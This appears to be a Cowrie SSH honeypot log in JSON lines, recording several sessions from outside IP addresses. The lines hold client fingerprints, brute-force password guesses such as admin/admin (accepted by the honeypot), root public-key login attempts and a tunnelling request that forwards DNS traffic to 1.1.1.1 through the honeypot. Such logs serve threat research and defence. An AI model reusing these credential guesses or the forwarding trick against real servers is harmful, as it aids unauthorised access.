{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:52:08.052637Z","src_ip":"87.251.64.176","session":"6e7b1793cb89","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:52:08.341074Z","src_ip":"87.251.64.176","session":"6e7b1793cb89","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:52:08.440037Z","session":"6e7b1793cb89","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:52:08.537488Z","src_ip":"87.251.64.176","session":"6e7b1793cb89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:52:08.769831Z","src_ip":"87.251.64.176","session":"6e7b1793cb89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":52106,"dst_ip":"159.203.135.109","dst_port":22,"session":"d122bc7e0b0e","protocol":"ssh","message":"New connection: 176.32.39.21:52106 (159.203.135.109:22) [session: d122bc7e0b0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:52:25.876915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:52:25.881267Z","src_ip":"176.32.39.21","session":"d122bc7e0b0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:52:26.001274Z","src_ip":"176.32.39.21","session":"d122bc7e0b0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20012001","message":"login attempt [root/20012001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:52:26.361744Z","src_ip":"176.32.39.21","session":"d122bc7e0b0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:52:27.484233Z","src_ip":"176.32.39.21","session":"d122bc7e0b0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.246","src_port":38620,"dst_ip":"10.17.0.5","dst_port":22,"session":"41e4e5e46132","protocol":"ssh","message":"New connection: 78.111.67.246:38620 (10.17.0.5:22) [session: 41e4e5e46132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:52:33.865388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:52:33.869826Z","src_ip":"78.111.67.246","session":"41e4e5e46132","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:52:33.965342Z","src_ip":"78.111.67.246","session":"41e4e5e46132","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d8:78:2f:3f:4e:00:06:e6:27:a1:32:eb:2f:c4:d2:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNJn3Ef5wGGakCHk8qh+CVVyfmORL6XBDUS5eh6xoZpfbsYcbOvPOMJxLG5/TpiOi87nQq2qAzXQOe/O/XusudXQMbsIphWi6nr23XlR4IebUOvcMZ52+diWH/sH9kglcxEh6t98SW+t09F0Silbb3Cj7LUtklYNrlZJL6qFJu9PEa9ovuqAH9xnF8bZg8ZJ7L+iS5OFc4ySbZzS9KoqGNYCiIawl0+KSmnSv/8dMBFpxWh882oaRIHC4DqCK0X5BatLR5z8a147LJRQLKYU2h/KmUvYk6WV57pdGWCurJCSThiNGGt5wcnnn0H3X2bZlUEGV3tmAMSppTO8TjbwRL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d8:78:2f:3f:4e:00:06:e6:27:a1:32:eb:2f:c4:d2:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:52:34.420289Z","src_ip":"78.111.67.246","session":"41e4e5e46132","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d8:78:2f:3f:4e:00:06:e6:27:a1:32:eb:2f:c4:d2:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNJn3Ef5wGGakCHk8qh+CVVyfmORL6XBDUS5eh6xoZpfbsYcbOvPOMJxLG5/TpiOi87nQq2qAzXQOe/O/XusudXQMbsIphWi6nr23XlR4IebUOvcMZ52+diWH/sH9kglcxEh6t98SW+t09F0Silbb3Cj7LUtklYNrlZJL6qFJu9PEa9ovuqAH9xnF8bZg8ZJ7L+iS5OFc4ySbZzS9KoqGNYCiIawl0+KSmnSv/8dMBFpxWh882oaRIHC4DqCK0X5BatLR5z8a147LJRQLKYU2h/KmUvYk6WV57pdGWCurJCSThiNGGt5wcnnn0H3X2bZlUEGV3tmAMSppTO8TjbwRL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:52:34.423635Z","src_ip":"78.111.67.246","session":"41e4e5e46132","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:e7:0b:2b:37:ff:20:a0:5c:44:73:47:d2:8d:4e:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLIieXhRORgA+BU64Dd5OB5rFBhzRGGH6YsKp0xbweY+eXquFk+KYl6Q4Cklp4HMGXQG5epj+mPUeJgHuZE5TWVG6Dt3M8Xz7hIL9iYz7aQ6U3o1kfcgO33QVRXRImmKfS1kZhjP3WiJa3p2HlHh6DVqM34cWLpNkIaYz7TP3vdcuT8W048GW/ho6ob9i09VuRHWNgpMPRGa1Mhqdl6d5nSL+WZctChRp5eiq7AB+Sk613NAUsuhJomCQTHtzeOnX07rB/n6ObvNnD+E+yEQm25g8jHLC0fuDo3iI3Thuz+JXRoWRtcrQ87EdTiOLaJbsN7NN7NW6yVCLpuWmdxRJK4kOnprxv8HUmv1V384QAQy9WIfyW1/mQirMUsTylrD+Nh1DDRCR0jSbWiZjJt2y7O1m6CS+s5i4nZBQcPExjw0eJDGtThm9jY3gqISaGEh79xS+CBZOhY7NyHED5jfsTb4pDjJsBp5FP5XToEtkB9wL+h/ISDr78B3GeLLueFsE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:e7:0b:2b:37:ff:20:a0:5c:44:73:47:d2:8d:4e:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:52:34.520721Z","src_ip":"78.111.67.246","session":"41e4e5e46132","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:e7:0b:2b:37:ff:20:a0:5c:44:73:47:d2:8d:4e:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLIieXhRORgA+BU64Dd5OB5rFBhzRGGH6YsKp0xbweY+eXquFk+KYl6Q4Cklp4HMGXQG5epj+mPUeJgHuZE5TWVG6Dt3M8Xz7hIL9iYz7aQ6U3o1kfcgO33QVRXRImmKfS1kZhjP3WiJa3p2HlHh6DVqM34cWLpNkIaYz7TP3vdcuT8W048GW/ho6ob9i09VuRHWNgpMPRGa1Mhqdl6d5nSL+WZctChRp5eiq7AB+Sk613NAUsuhJomCQTHtzeOnX07rB/n6ObvNnD+E+yEQm25g8jHLC0fuDo3iI3Thuz+JXRoWRtcrQ87EdTiOLaJbsN7NN7NW6yVCLpuWmdxRJK4kOnprxv8HUmv1V384QAQy9WIfyW1/mQirMUsTylrD+Nh1DDRCR0jSbWiZjJt2y7O1m6CS+s5i4nZBQcPExjw0eJDGtThm9jY3gqISaGEh79xS+CBZOhY7NyHED5jfsTb4pDjJsBp5FP5XToEtkB9wL+h/ISDr78B3GeLLueFsE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:52:34.523984Z","src_ip":"78.111.67.246","session":"41e4e5e46132","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:86:4c:66:4f:d9:1c:ba:63:aa:9a:5f:3f:5a:6c:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpyH9Op3RX8dYvXln69wvRTvQAFUdoC4r6zTfxuRWvGE1xiA1AOYOC4XGFwQNemR8zcZAocsgKMBzjO5lVUGCwNpgxbugIvf/kMBbP5zxHOkHqtGqpO+bUFZip8LMSG0SbnRbysE7J8l73+mCAnDCdNxoijKD0LApaHQkWlICVO/Y4fVX6oVsFQN017ZlqnQ6n8VwLlzmbp2WfrDyj4Ew6k1hXdkBlCdWOPO7p/aBp1v/PAldHx7mVQaUylasIRFwZWHh2wpWL526EHGpqy5Zv239AKJHZI1kEfGhUthtxfSnWAhYSe5oiqtwbJdyF+aJLjNPI/MvM4VXVHhMkJ0XR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:86:4c:66:4f:d9:1c:ba:63:aa:9a:5f:3f:5a:6c:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:52:34.618134Z","src_ip":"78.111.67.246","session":"41e4e5e46132","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:86:4c:66:4f:d9:1c:ba:63:aa:9a:5f:3f:5a:6c:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpyH9Op3RX8dYvXln69wvRTvQAFUdoC4r6zTfxuRWvGE1xiA1AOYOC4XGFwQNemR8zcZAocsgKMBzjO5lVUGCwNpgxbugIvf/kMBbP5zxHOkHqtGqpO+bUFZip8LMSG0SbnRbysE7J8l73+mCAnDCdNxoijKD0LApaHQkWlICVO/Y4fVX6oVsFQN017ZlqnQ6n8VwLlzmbp2WfrDyj4Ew6k1hXdkBlCdWOPO7p/aBp1v/PAldHx7mVQaUylasIRFwZWHh2wpWL526EHGpqy5Zv239AKJHZI1kEfGhUthtxfSnWAhYSe5oiqtwbJdyF+aJLjNPI/MvM4VXVHhMkJ0XR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:52:34.621593Z","src_ip":"78.111.67.246","session":"41e4e5e46132","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a6:f7:45:fb:e3:e8:42:c1:14:21:a5:f6:07:25:e8:08","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIeBlRlE5zjwDfqPcZGeOD8YaqZ+Skycgb3MxV3F+dMERT4QJxMjaDnOzGWT+/9ATcRZoNoxJmo9qE2W6jNPa75WX9RN0b4QseeY3gyZs/QhbcWemFHZbLEBO27AymU5EFy9xstDObROqbzeKG25Wb0QFjYXqg7bv/fRfR61rAr1AAAAFQCuYaKhuUTYT2Bm6hhgLueVKrXFNQAAAIAeVCPN2l8k2zOQhJesG60gJ+H+0GDLOoaLIyiPOTBTGNndugtOzLsqvbkKSv/ESiLdLeAP27u0QZk/fyTDSiD8N4JtxO54xYHnJp48E9JLYTgWGJWNqQ923/kIrVU4AGN0eIIN4+JsnkGViPn3ZBJoYDzYxKmxHzbRWCfiOPeQbQAAAIA8xuTI6PKMi6kKIVUGETv2TFZ5BPOpLLWfxXkLuVoWmD3lJoZAu0+2q8DnLlbH4MaIaxXq3EplJOiKPH+4Uc86OduOP/6UEaOL9iwW2lx6RHC9JlDDGNkyzN33vSxFlY02iNLFU3JKH7L/UG+3xT2dMtAffdKBud8yJBtKSEwJ2g==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint a6:f7:45:fb:e3:e8:42:c1:14:21:a5:f6:07:25:e8:08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:52:34.717676Z","src_ip":"78.111.67.246","session":"41e4e5e46132","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a6:f7:45:fb:e3:e8:42:c1:14:21:a5:f6:07:25:e8:08","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIeBlRlE5zjwDfqPcZGeOD8YaqZ+Skycgb3MxV3F+dMERT4QJxMjaDnOzGWT+/9ATcRZoNoxJmo9qE2W6jNPa75WX9RN0b4QseeY3gyZs/QhbcWemFHZbLEBO27AymU5EFy9xstDObROqbzeKG25Wb0QFjYXqg7bv/fRfR61rAr1AAAAFQCuYaKhuUTYT2Bm6hhgLueVKrXFNQAAAIAeVCPN2l8k2zOQhJesG60gJ+H+0GDLOoaLIyiPOTBTGNndugtOzLsqvbkKSv/ESiLdLeAP27u0QZk/fyTDSiD8N4JtxO54xYHnJp48E9JLYTgWGJWNqQ923/kIrVU4AGN0eIIN4+JsnkGViPn3ZBJoYDzYxKmxHzbRWCfiOPeQbQAAAIA8xuTI6PKMi6kKIVUGETv2TFZ5BPOpLLWfxXkLuVoWmD3lJoZAu0+2q8DnLlbH4MaIaxXq3EplJOiKPH+4Uc86OduOP/6UEaOL9iwW2lx6RHC9JlDDGNkyzN33vSxFlY02iNLFU3JKH7L/UG+3xT2dMtAffdKBud8yJBtKSEwJ2g==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:52:34.722003Z","src_ip":"78.111.67.246","session":"41e4e5e46132","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:d9:9d:40:f1:a1:1c:a5:6f:7a:5e:6a:1f:ba:e1:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwr6yMrUQoFCDn5moKqHUsz7hdxcTlEKOfw+/+KE52MDsokUCXrKq4DEUBgDClpWF8BGbZWRVfRfnuzVY+y43KjY340w15XH11nz/U2Edi0udsDA663J8MCjgdQ3e8q43OSwWu3g0wZDRHmdAUH6MCZjwQc/afP8uQlMkwTWbTsllalK+vYviwmoFPpWcNNesEhogGo7tEdnUc6ySkg8DwfDC+NyoHqtgto23NKFBxnF9z/1LXXlnBmTYcnJyZGmpqvni70LObEmiJP6TAdm7oKux/5DWM/pX2t3vAP+QDl1JmAjNMGK3Oy6iThcA4o4uxfEf7p2pe6nmTSA7qVa9V","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:d9:9d:40:f1:a1:1c:a5:6f:7a:5e:6a:1f:ba:e1:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:52:34.819328Z","src_ip":"78.111.67.246","session":"41e4e5e46132","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:d9:9d:40:f1:a1:1c:a5:6f:7a:5e:6a:1f:ba:e1:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwr6yMrUQoFCDn5moKqHUsz7hdxcTlEKOfw+/+KE52MDsokUCXrKq4DEUBgDClpWF8BGbZWRVfRfnuzVY+y43KjY340w15XH11nz/U2Edi0udsDA663J8MCjgdQ3e8q43OSwWu3g0wZDRHmdAUH6MCZjwQc/afP8uQlMkwTWbTsllalK+vYviwmoFPpWcNNesEhogGo7tEdnUc6ySkg8DwfDC+NyoHqtgto23NKFBxnF9z/1LXXlnBmTYcnJyZGmpqvni70LObEmiJP6TAdm7oKux/5DWM/pX2t3vAP+QDl1JmAjNMGK3Oy6iThcA4o4uxfEf7p2pe6nmTSA7qVa9V","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:52:34.823969Z","src_ip":"78.111.67.246","session":"41e4e5e46132","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:52:34.925439Z","src_ip":"78.111.67.246","session":"41e4e5e46132","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":45296,"dst_ip":"159.203.135.109","dst_port":22,"session":"cef7119cdd4a","protocol":"ssh","message":"New connection: 80.94.92.186:45296 (159.203.135.109:22) [session: cef7119cdd4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:53:09.258382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:53:09.358196Z","src_ip":"80.94.92.186","session":"cef7119cdd4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:53:09.491634Z","src_ip":"80.94.92.186","session":"cef7119cdd4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse@123","message":"login attempt [lighthouse/lighthouse@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:53:10.487285Z","src_ip":"80.94.92.186","session":"cef7119cdd4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:53:11.881197Z","src_ip":"80.94.92.186","session":"cef7119cdd4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":44778,"dst_ip":"159.203.135.109","dst_port":22,"session":"989bc15494cf","protocol":"ssh","message":"New connection: 185.236.22.41:44778 (159.203.135.109:22) [session: 989bc15494cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:53:47.147280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:53:47.175766Z","src_ip":"185.236.22.41","session":"989bc15494cf","protocol":"ssh"}
